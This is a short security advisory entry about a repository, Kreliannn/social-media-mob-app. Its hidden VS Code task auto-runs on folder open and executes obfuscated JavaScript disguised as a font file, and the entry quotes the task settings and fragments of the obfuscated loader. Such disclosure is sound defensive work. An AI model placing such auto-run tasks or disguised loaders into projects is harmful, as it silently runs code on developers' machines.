GCVE-110-OSM-2026-10840

Kreliannn/social-media-mob-app runs code as soon as the folder is opened in an editor, without being asked. - Executes code automatically when the folder is opened in an editor. File: .vscode/tasks.json Observed: folderOpen node ./public/fonts/fa-solid-400.woff2 Observed: "hide": true, "presentation": { "reveal": "never", "panel": "dedicated", "focus": false, "clear": false, "echo": false, "close": true }, "runOptions": { "runOn": "folderOpen" - Carries a file whose extension declares an image, font or other binary asset, but whose content is program code, and runs it. File: public/fonts/fa-solid-400.woff2 Observed: function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w%… - Appends a loader to a build or configuration file, pushed past hundreds of spaces so it sits off the right edge of an editor and out of a diff. File: public/fonts/fa-solid-400.woff2 Observed: rmcej%otb%